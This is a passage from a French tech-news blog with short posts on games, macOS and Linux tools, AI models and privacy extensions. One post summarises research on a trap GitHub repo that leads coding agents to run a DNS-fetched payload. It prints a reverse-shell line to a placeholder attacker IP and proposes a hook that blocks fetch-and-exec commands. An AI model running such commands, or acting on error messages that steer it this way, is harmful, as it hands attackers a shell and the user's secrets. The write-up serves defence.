Banjo-Kazooie est un jeu du studio Rare sorti sur Nintendo 64 en 1998, qui dernièrement
revient un peu sur le devant de la scène
. La communauté des fans le dissèque sous tous les angles depuis des années et pourtant, il en sort encore des surprises !
En effet, le dernier portage sur console de poche vient de cracher 20 pistes musicales inédites, qui étaient apparemment bien planquées dans les fichiers depuis un quart de siècle.
La coupable ?
L'
HyperMegaTech Super Pocket Rare Edition
(lien affilié), une petite console portable de la famille Evercade qui embarque 14 jeux Rare, Banjo-Kazooie inclus. Rien de transcendant a priori, sauf que les devs ont glissé un lecteur musical qui se débloque une fois le jeu terminé. Et dedans, les thèmes musicaux que vous connaissez... mais également 20 morceaux beta jamais intégrés au jeu final. Des versions précoces de morceaux, des tracks recyclées dans Banjo-Tooie, et des thèmes qui n'ont pas survécu au montage...
Et ces thèmes portent des noms qui sentent le niveau coupé au scalpel. Une track "Mushroom" qui sonne comme une version alpha de
Cloud Cuckooland
. Un thème "Mine" qui rappelle
Glitter Gulch Mine
, tous les deux des mondes de la suite. Et puis du "Lava World", du "Wintry", voire des évocations d'Atlantis... Autant de niveaux que Rare aurait imaginés avant de tout ranger dans un tiroir.
Côté compositeur, c'est du Grant Kirkhope pur jus, celui qui signait déjà la bande-son d'origine et si vous voulez écouter tout ça avant d'acheter la console, quelques-unes de ces démos ont déjà été extraites et postées sur YouTube.
Et tout ça se débloque via les objets Stop 'n' Swop, une fonctionnalité mythique de la N64 qui devait laisser les joueurs échanger des items entre Banjo-Kazooie et sa suite en faisant de l'hot-swap de cartouches. Une idée géniale que le hardware final de l'époque de la N64 a fini par torpiller, et qui n'a jamais vraiment marché dans la version originale.
En tout cas, c'est rare de voir un portage officiel balancer autant de contenu "oublié" d'un coup car d'habitude, ce genre de trésors dort dans des dumps de ROMs jusqu'à ce qu'un moddeur les trouve.
J'sais pas si vous avez remarqué mais autant sous iOS on peut mettre une authentification Face ID sur n'importe quel app, autant sous MacOS, on peut certes verrouiller tout son ordi, mais on ne peut pas locker une app en particulier.
Et c'est chiant parce que parfois, on doit laisser son ordi à un collègue, un enfant ou PIRE sa mère, et ils ont alors accès sans restriction à vos Messages, vos Photos, votre
gestionnaire de mots de passe
, votre boîte mail et j'en passe des vertes et des pas mûres...
Dweep Desai, un développeur qui s'est visiblement retrouvé dans cette galère, a heureusement sorti
FaceGate
, un petit utilitaire open source tiers qui ajoute enfin du verrouillage par application sur macOS, avec déverrouillage à la trombine !
Dans FaceGate, vous choisissez quelles apps protéger, et à chaque lancement, l'outil intercepte et vous demande alors une authentification. Au choix, ça peut être de la reconnaissance faciale via le Neural Engine d'Apple (ça tourne on-device, rien ne part sur un serveur), Touch ID, ou un mot de passe. Rassurez-vous, vos empreintes faciales sont chiffrées en AES-256-GCM et stockées en local, et les clés au chaud dans le trousseau macOS.
Pour l'installer, suffit d'aller télécharger le DMG ici ou de lancer la commande curl suivante :
Le truc intéressant avec FaceGate, c'est qu'il fait ce qu'on appelle de la "détection du vivant". L'outil ne se contente pas de comparer votre visage à une photo, mais vous demande de tourner la tête à gauche ou à droite, du coup, mettre devant la cam une photo imprimée ou une vidéo de votre face ne marche pas en principe (une vidéo deepfake soignée reste l'angle mort évidemment...).
Vous pouvez même enroller jusqu'à 3 visages, brancher une webcam USB, programmer des plages de verrouillage horaires, ou balancer un raccourci clavier qui ferme tout net en cas d'urgence.
FaceGate n'est pas le premier app-locker sur Mac puisque
MakLock
fait ça aussi en open source, avec Touch ID, déverrouillage par Apple Watch et bientôt du Wi-Fi de confiance. Mais par contre, c'est le premier à proposer du Face ID et ça c'est top ! Puis macOS, faut pas l'oublier, propose aussi en natif des limites d'applications dans ses paramètres de Temps d'Écran mais c'est moins fun que FaceGate, c'est sûr !
Bonne nouvelle pour tous les drogués de l'IA que vous êtes ! L'administration Trump a enfin fini par lâcher du lest. Hier soir, le Département du Commerce américain a finalement levé les restrictions d'exportation stupides qui pesaient sur Mythos et Fable 5, les deux modèles les plus puissants d'Anthropic, après 18 jours (!) de blocage pur et simple !
Et dans la foulée, Anthropic a sorti Sonnet 5, juste après et vous allez voir que les deux sont liés.
Tout commence le 12 juin, lorsque le gouvernement fédéral ajoute Mythos et Fable 5 à sa liste des technologies à exportation contrôlée (les fameux "export controls"). En clair, Anthropic doit théoriquement demander une licence pour les mettre entre les mains de quiconque hors des États-Unis. Sauf qu'appliquer ça à une API accessible en quelques secondes depuis n'importe quel outil, c'est juste impraticable. Alors faute de pouvoir filtrer proprement, Anthropic a coupé l'accès public aux deux modèles, partout, y compris chez elle...
Au final, cette sortie de crise signée Howard Lutnick, le Secrétaire au Commerce, lui a permis d'annoncer qu'Anthropic s'était engagée à "détecter et traiter proactivement les risques de sécurité associés aux modèles, travailler avec diligence avec le gouvernement américain sur les protocoles, les standards et les releases de Mythos, Fable et des modèles à venir, et informer les autorités de toute activité malveillante".
Ça devrait donc être aujourd'hui (le 1er juillet) que l'accès sera restauré sur Claude.ai, Claude Code et la Claude Platform (pour l'API).
Toutefois, selon les experts en cybersécurité qui ont analysé la situation, ce ban ressemblait moins à une mesure de sécurité qu'à un moyen de pression. Une façon pour la Maison Blanche de punir Anthropic pour les critiques publiques de ses cadres sur l'usage politique qui pourrait être fait de l'IA. C'est à prendre évidemment avec des pincettes, mais c'est vrai que le timing et surtout la brutalité de la manœuvre ont beaucoup interrogé.
Ce qui est sûr en tout cas, c'est que la pression concurrentielle, elle, a bien bien joué. Des acteurs asiatiques commencent à sortir
des modèles comme GLM 5.2
,
Fugu ou encore Tulongfeng
qui approchent les capacités de Fable 5 / Mythos, et Washington n'avait vraiment pas d'intérêt à laisser Anthropic avec les pieds et poings liés dans cette course mondiale...
Mais peu importe, ces restrictions auront au moins servi de rappel, à Anthropic comme au reste de la tech US et surtout Européenne, sur qui tient les clés.
Pour comprendre pourquoi Mythos précisément était visé, c'est parce que c'est un modèle cyber-offensif qui est taillé pour repérer et exploiter les vulnérabilités logicielles. Et Fable 5 n'est que sa version publique, bridée par des garde-fous. Une bestiole qu'Anthropic avait d'ailleurs
jugée trop dangereuse à publier
il y a quelques mois, toujours pour la frime et faire monter le buzz et on dirait que ça leur est revenu dans les dents.
Quant à Sonnet 5 qui a échappé à la restriction, sa fiche technique de sécurité dit que ses capacités cyber sont "significativement inférieures" à celles de Mythos, ce qui le range dans la même catégorie de garde-fous qu'Opus 4.7 et 4.8. Donc ce sont bien les capacités cybersec des modèles qui sont la ligne rouge du gouvernement.
Anthropic présente Sonnet comme le sommet de la classe Sonnet (sans pour autant détrôner Opus ou Mythos), et le vend comme étant proche d'Opus 4.8 en termes de perfs, mais moins cher, avec une fenêtre de contexte d'un million de tokens et le "thinking" adaptatif activé par défaut.
Son tarif officiel est de 3 $ pour un million de tokens en entrée, 15 $ en sortie, (avec une tite promo à 2 $ / 10 $ jusqu'au 31 août). Mais
Simon Willison
a repéré LE piège dans les docs techniques. Le nouveau tokenizer (le découpeur de texte qui fixe votre facturation) employé par ce modèle fait qu'un même texte consomme environ 30 % de tokens en plus qu'avant. C'est clairement pas un hasard et il y voit une hausse de prix déguisée d'à peu près 30 %. En vrai modèle ne coûte pas plus cher sur le papier mais votre facture montera forcément. À voir si ça vaut le coup...
Bref, si votre stack tient sur du Claude, prévoyez quand même un plan B comme une couche d'abstraction type OpenRouter, ou un open-weights en secours...
Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows :
sessions parallèles
, revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.
C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.
Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :
L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.
Y'a bien un .deb à récupérer sur
claude.com/download
si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.
Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était
aaddrick/claude-desktop-debian
qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.
Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...
Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.
Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...
Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le
CLI Claude Code
à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.
En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la
doc complète est par ici
.
PS : Et au moment où je finalise cet article, je vois qu'
Anthropic a sorti Claude Science
qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^
Les amis, il faut que je vous parle de
GLM 5.2
. Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !
GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en
Mixture-of-Experts
(MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.
Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.
Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :
Vous le sauvegardez sous le nom de votre choix, par exemple "glm". Puis vous faites un :
chmod +x glm
Et ensuite vous le lancez comme ceci :
./glm
L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !
Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner
en local
chez moi. Parce que le bestiau, il est TROP gros.
Même raboté et quantifié en 2-bit pour la maison
, il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.
Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.
Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le
leaderboard Arena.ai
dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.
Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!
Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien
vers le Plan GLM
est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.
Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.
Vous avez une petite carte graphique, un vieux Mac ou juste un bon processeur, et vous cherchez LE modèle d'IA parfait qui pourra tourner en local sans que ça rame ?
Hugging Face
vient d'ajouter le filtre qui manquait à sa page Models : un sélecteur de matériel qui ne vous proposera que les modèles réellement compatibles avec votre machine.
Vous renseignez votre config (une RTX 3060, un processeur AMD, une puce Apple Silicon M2…) dans les réglages de votre compte, et le catalogue ne gardera plus que ce qui passe pour un GPU, un CPU ou une puce Apple précis.
Fini l'époque, donc, où il fallait ouvrir chaque fiche, chercher la VRAM requise, sortir la calculette et croiser les doigts au moment du lancement.
Ce filtre d'Hugging Face repose sur la taille des fichiers proposés, notamment les versions quantifiées au format GGUF, ces modèles compressés qui font tourner de grosses IA sur des machines modestes, et sur la RAM ou la VRAM de votre config déclarée. Cette base hardware est constituée de
ce que possède réellement la communauté
des 300 000 membres qui ont accepté de déclarer leur matériel.
Une fois le bon modèle repéré, vous récupérez les commandes via le bouton "Use this model" présent sur chaque fiche, puis vous lancez tout ça avec les outils habituels de l'IA locale, du genre llama.cpp, Ollama ou LM Studio. Et pour ceux qui veulent aller plus loin sur Apple Silicon, il existe également
des serveurs d'inférence maison pour remplacer l'API d'OpenAI par votre propre Mac
.
Maintenant, si vous avez un chip un peu exotique,
un accélérateur NPU
ou une carte à peine sortie, il faudra parfois patienter, voire passer par le forum pour réclamer son ajout dans la base, mais bon, je chipote !
Anthony Sgro vient d'open-sourcer un truc que tout utilisateur de VPN devrait avoir sous la main. C'est extension pour Safari, Chrome et Firefox (et pas Faille-Fox, déso) qui s'appelle GeoSpoof et qui part d'un constat tout bête que la plupart des gens ignorent.
En fait, votre VPN change masque bien votre adresse IP réelle (s'il est bien configuré, hein), d'accord, super, mais votre navigateur, lui, continue tranquillement de tout balancer aux sites web et notamment le lieu où vous vous trouvez vraiment.
Venez pas chez moi, c'est pas mon adresse...
Et il a mille façons de le faire. Y'a d'abord l'API de géolocalisation qui balance vos coordonnées GPS si vous l'autorisez, mais surtout y'a tout le reste, beaucoup plus sournois comme votre fuseau horaire, par exemple. Vous êtes connecté à un serveur VPN à New York mais votre navigateur répond Europe/Paris quand un script lui demande l'heure, et hop, le site comprend en une milliseconde que vous bluffez. Pareil avec l'objet Intl.DateTimeFormat, avec le Date du système, avec WebRTC qui adore fuiter votre vraie IP locale.
Vous pouvez avoir le meilleur VPN du monde, si ces signaux-là pointent tous vers chez vous pendant que votre IP dit le contraire, et vous êtes encore plus repérable qu'un mec sans VPN. C'est exactement
ce qu'un VPN ne fait pas
tout seul et c'est pour ça que votre abonnement à Youtube Premium, Netflix, ou Disney+ à 30 centimes acheté en Turquie ou je ne sais où, fini par se faire flagger.
GeoSpoof colmate donc ce trou en venant rebrancher directement ces APIs dans le navigateur sur du contenu factice. L'extension s'injecte au tout début du chargement de la page, avant que le JavaScript du site ait eu le temps de tourner et ensuite quand un script demande votre position, votre heure ou votre fuseau, il reçoit la localisation que VOUS avez choisie, et tout est cohérent. Géoloc, timezone, dates, WebRTC, tout raconte la même histoire et y'a plus de signal contradictoire qui dépasse.
Le mode que je trouve le plus pratique, dans GeoSpoof c'est surtout la synchro VPN automatique. L'extension repère l'IP de sortie de votre VPN, et elle aligne toute seule votre localisation navigateur dessus. Si vous changez de serveur, et que vous passez de Tokyo à Montréal, hé bien elle resynchronise sans que vous n'ayez à toucher à quoi que ce soit.
Sinon vous pouvez aussi y aller à la main, chercher une ville précise ou taper vos coordonnées directement. Pour vérifier que ça marche vraiment, l'auteur a même monté une page de test sur
geospoof.com/verify
, et l'extension passe les outils classiques de fingerprinting comme CreepJS ou BrowserLeaks.
Petit détail qui prouve le soin du travail, les overrides sont déguisés pour répondre [native code] quand un script essaie de vérifier s'ils ont été trafiqués. Héhé, malin !
Là où Anthony Sgro est honnête, c'est qu'il ne vous vend pas l'invisibilité totale. C'est écrit dans la doc que GeoSpoof ne change PAS votre IP. Sans un VPN derrière, votre adresse continue donc de pointer vers chez vous, et le bénéfice restera limité face aux sites qui recoupent l'IP.
Ça ne bypasse pas non plus la détection côté serveur, votre historique de compte ou votre moyen de paiement vous trahiront toujours. Et le mode le plus agressif, qui passe par le protocole de debug de Chrome pour verrouiller le fuseau jusque dans les workers, reste détectable par les outils qui cherchent spécifiquement ce genre de bidouille. C'est juste un outil de cohérence à utiliser en complément
du meilleur VPN auquel vous vous êtes abonnés
^^.
Ça tourne sur Firefox, Chrome, Brave, Edge et même Safari sur iOS et macOS via l'App Store. Tout est sous licence MIT, et y'a pas de tracking ni de collecte de données dedans. C'est rare de voir des extension d'une si bonne qualité de finition, encore bravo à Anthony !!
Puis si vous bidouillez déjà votre vie privée avec un truc comme
Fingerprint Defender
, GeoSpoof complètera le tableau parfaitement sur la partie localisation.
Bref, un VPN sans ça, c'est une porte blindée avec une fenêtre grande ouverte à côté. Allez jeter un œil, ça prend 2 min à installer !
Cursor
, le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone.
Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé.
Vous lancez l'app, vous tapez ce que vous voulez faire, et un agent part bosser dans sa VM avec son environnement de dev complet. Et vous pouvez comme ça en lancer plusieurs en même temps et suivre leur avancement, même sur l'écran verrouillé sur smartphone. Quand il se retrouve bloqué, l'agent IA vous envoie une notif et quand c'est fini, vous n'avez plus qu'à relire les diffs, à passer en revue les captures écran, à consulter les logs et merger la pull request directement depuis le téléphone.
Je vous laisse avec Benjamin qui va vous expliquer ça (roooh, ça va, j'rigole) :
Y'a aussi un mode "remote control" comme ce qu'on retrouve chez
Claude Code
, qui récupère un agent déjà lancé sur votre ordi, afin de pouvoir continuer à le piloter à distance. Moi j'utilise souvent ce genre de trucs quand je dois m'absenter pour faire une course, afin de ne pas perdre de temps.
On est, en quelques mois, passé d'un monde où le dev tapait religieusement chaque ligne à un monde où il décrit une "intention" et supervise des
agents qui exécutent
le taf. Et le clavier devient presque accessoire, surtout avec des outils comme
VoxDrop
.
L'app est en beta publique, réservée aux plans payants, et pour l'instant c'est iOS uniquement, et Cursor lance aussi une promo de 75% sur les runs Composer 2.5 dans l'app jusqu'au 5 juillet, histoire de vous faire tester tout ça tranquillement.
L'app est dispo sur l'
App Store
si vous voulez faire du dev depuis vos toilettes.
Si vous avez déjà branché un stockage externe sur votre
Nextcloud
et regardé occ files:scan ramper en mode larve durant des plombes lors d'une indexation, vous connaissez le coupable.
C'est évidemment un dossier node_modules qui contient des dizaines de milliers de tout petits fichiers, qui se fait indexer dans la base de Nextcloud, faisant tout ramer jusqu'à l'infini (ou presque...).
Heureusement, Marc Palaus a repris le vieux plugin
files_excludedirs
(lancé à l'origine par Roeland Jago Douma, puis passé de fork en fork) et l'a remis d'aplomb pour Nextcloud 32 à 34. Le taf de ce plugin c'est tout simplement d'ordonner à Nextcloud d'ignorer purement et simplement les dossiers que vous lui indiquez.
Donc si vous lui donnez ce pattern, il esquivera tout ce qui correspond :
Un tableau JSON, un pattern par entrée, et vous pouvez glisser des wildcards comme cache/*/tmp pour taper plusieurs sous-dossiers d'un coup.
Ensuite, pour voir ce qui tourne, occ config:app:get files_excludedirs exclude. Ou si vous préférez cliquer, l'app propose aussi un menu Exclude Directories dans les réglages admin, avec un bouton Preview Changes pour voir ce que vous allez virer avant de valider.
Pour les fichiers qui n'ont pas encore été indexés, c'est nickel donc. Mais pour ceux qui sont déjà dans la base, cette exclusion les rendra inaccessibles mais ils seront toujours là à traîner dans les résultats de recherche.
Alors pour les dégager pour de bon, voici quelle ligne de commande vous devez lancer :
occ files_excludedirs:clean-cache --dry-run
J'ai mis un dry-run en paramètre, parce que ça permet de faire tourner ça à blanc sur quelques résultats, sans flinger la mauvaise arborescence. Mais une fois que vous êtes chaud patate et sûr de vous, vous devrez relancer la même commande sans le --dry-run.
Notez que si vous montez par exemple un partage genre "Shared/Holiday" directement à la racine d'un utilisateur, vos fichiers ont un chemin du style photo.jpg, et pas Shared/Holiday/photo.jpg. C'est le chemin complet qu'il faudra viser donc...
En tout cas, j'ai été surprise d'apprendre qu'exclure des dossiers du scan, c'est une demande qui traîne sur le tracker Nextcloud depuis l'
issue #6888
publiée en 2017... Ça existait pourtant côté ownCloud. Dommage quoi.
Pour installer ce plugin, vous récupérez l'archive sur la page Releases, vous décompressez dans nextcloud/apps, vous activez depuis l'admin. Ou alors un petit git clone + un composer install pour la version source et le tour est joué !
Et si la lourdeur de Nextcloud vous gonfle plus globalement, il y a des alternatives plus légères comme
OpenCloud
.
Un développeur du nom de Niv Singer a eu l'idée improbable de brancher quatre vieux disques durs en guise d'enceintes, puis de leur faire cracher Second Reality, cette production que le groupe finlandais Future Crew a sortie en 1993 et qui reste, plus de trente ans après, l'une des plus vénérées de toute l'histoire du PC, avec une musique extraordinaire (que j'ai écoutée des millions de fois).
Pour ceux qui n'ont jamais croisé ce terme (ou pas dans le bon sens), une démo, dans ce milieu qu'on appelle la demoscene, c'est un programme conçu pour faire produire à une machine des effets graphiques et sonores qu'on la croyait pourtant incapable de sortir, le tout calé au millimètre sur la musique. Second Reality a remporté l'Assembly 1993, la grande compétition du genre, le 30 juillet de cette année-là, et a longtemps tenu lieu de démonstration ultime de ce qu'un PC de l'époque avait réellement dans le ventre.
Le principe que Niv Singer exploite ici est en réalité tout simple, presque bête. Dans un disque dur, une bobine déplace la tête de lecture au-dessus des plateaux qui tournent, exactement comme la bobine d'un haut-parleur fait bouger sa membrane pour brasser l'air. En envoyant un signal audio dans cette bobine plutôt que les commandes de positionnement habituelles, la tête se met à vibrer et produit donc du son.
Sauf que voilà, l'intéressé ne cache pas vraiment les limites de la chose. Le rendement est mauvais, le volume reste famélique et la réponse en fréquence, pour reprendre ses propres mots, est franchement catastrophique. Un disque dur n'a jamais été pensé pour faire de la musique, et ça s'entend.
D'où l'astuce, qui consiste à ne surtout pas se contenter d'un seul disque. Il en a empilé quatre, des Western Digital Caviar de 500 Go chacun, répartis à raison de deux par canal stéréo, la gauche et la droite. Sur chaque canal, un filtre répartiteur, ce fameux crossover qui découpe le son entre les différentes fréquences, confie les graves à un disque et les aigus à l'autre, histoire que chacun bosse dans la plage où il se débrouille le moins mal.
Et il ne s'arrête pas là, puisque les plateaux des disques se mettent en plus à tourner en rythme avec la musique. Pour obtenir ça, il pilote finement leur vitesse avec du PWM, une technique qui consiste à hacher l'alimentation électrique très vite pour doser pile l'énergie envoyée au moteur. Le résultat tient autant du concert bricolé que de l'installation lumineuse de salon.
Tout le projet, baptisé Spin Doctor, est posé sur GitHub, schémas et code compris, pour quiconque voudrait reproduire l'expérience avec ses propres rebuts informatiques.
Faire rejouer la démo la plus mythique du PC par le matériel qu'on balance d'habitude à la déchèterie, perso j'adore.
Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.
Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !
Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.
Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.
Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.
Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :
En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.
À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.
C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.
L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette
bibliothèque Java qui piégeait les IA codeuses
, sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les
deux failles du bac à sable de Claude Code
donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.
Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.
Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :
À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.
Un outil comme
LuLu
(gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.
Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.
Il y a 25 ans, le studio tchèque Bohemia Interactive sortait Operation Flashpoint : Cold War Crisis, un shooter tactique qui a marqué toute une génération de joueurs PC.
Eh bien, pour l'anniversaire du jeu, ils n'ont pas fait les choses à moitié puisqu'un remaster est en route, une démo gratuite est dispo sur
Steam
, et surtout, ils ouvrent le code source du moteur. Tout ça d'un coup et c'est trop cool !
Le dépôt est public sur
GitHub
, sous le nom BohemiaInteractive/CWR et dedans, vous trouverez le moteur ET le code du jeu, le tout modernisé en C++20, compilé avec CMake et Clang, et compatible Windows x64 comme Linux x64. La démo Steam, elle, vous pose directement dans la sandbox open-world d'origine, avec les véhicules, l'IA et le système de missions. Enfin, un asset-pack est fourni pour que vous bricoliez vos propres mods.
Le moteur s'appelle Poseidon et détail rigolo, c'était le nom interne du projet en 1999, avant que le jeu ne devienne Operation Flashpoint et le moteur Real Virtuality. Et si vous vous demandez pourquoi le titre a fini renommé Arma : Cold War Assault en 2011, c'est à cause d'un litige sur la marque avec Codemasters, l'éditeur d'origine.
Attention quand même aux licences puisque Bohemia ouvre le code, mais les marques "ARMA", "Operation Flashpoint" et les logos restent chez leurs détenteurs respectifs (la marque "ARMA" appartient bien à Bohemia, mais "Operation Flashpoint" n'est pas à eux). En clair, si vous voulez forker le projet, vous devez le renommer et surtout pas le vendre comme un produit officiel Bohemia. Logique, mais autant le savoir avant !
Operation Flashpoint c'est LE jeu qui a lancé toute la franchise Arma, devenue une référence du "simulationnisme" militaire sur PC, avec une communauté de moddeurs énorme dans son sillage. Libérer le code d'un jeu culte, c'est très rare (id Software l'avait fait avec
Doom
, sans oublier ce bon vieux
Commander Keen
), et ça donne à la communauté de quoi préserver et faire vivre le jeu pour les 25 prochaines années !
La version complète du remaster, elle, n'a pas encore de date officielle et Bohemia parle juste d'un "plus tard".
Je vous parlais
de ces écrans e-ink hier
qui sont capables de se rafraichir beaucoup plus rapidement que les écrans tout pâle de nos liseuses. Et v'la ti pas que je tombe sur ce projet de Wenting Channel où le gars a décidé de faire tourner un Pokemon Bleu en 60 fps sur un écran e-ink.
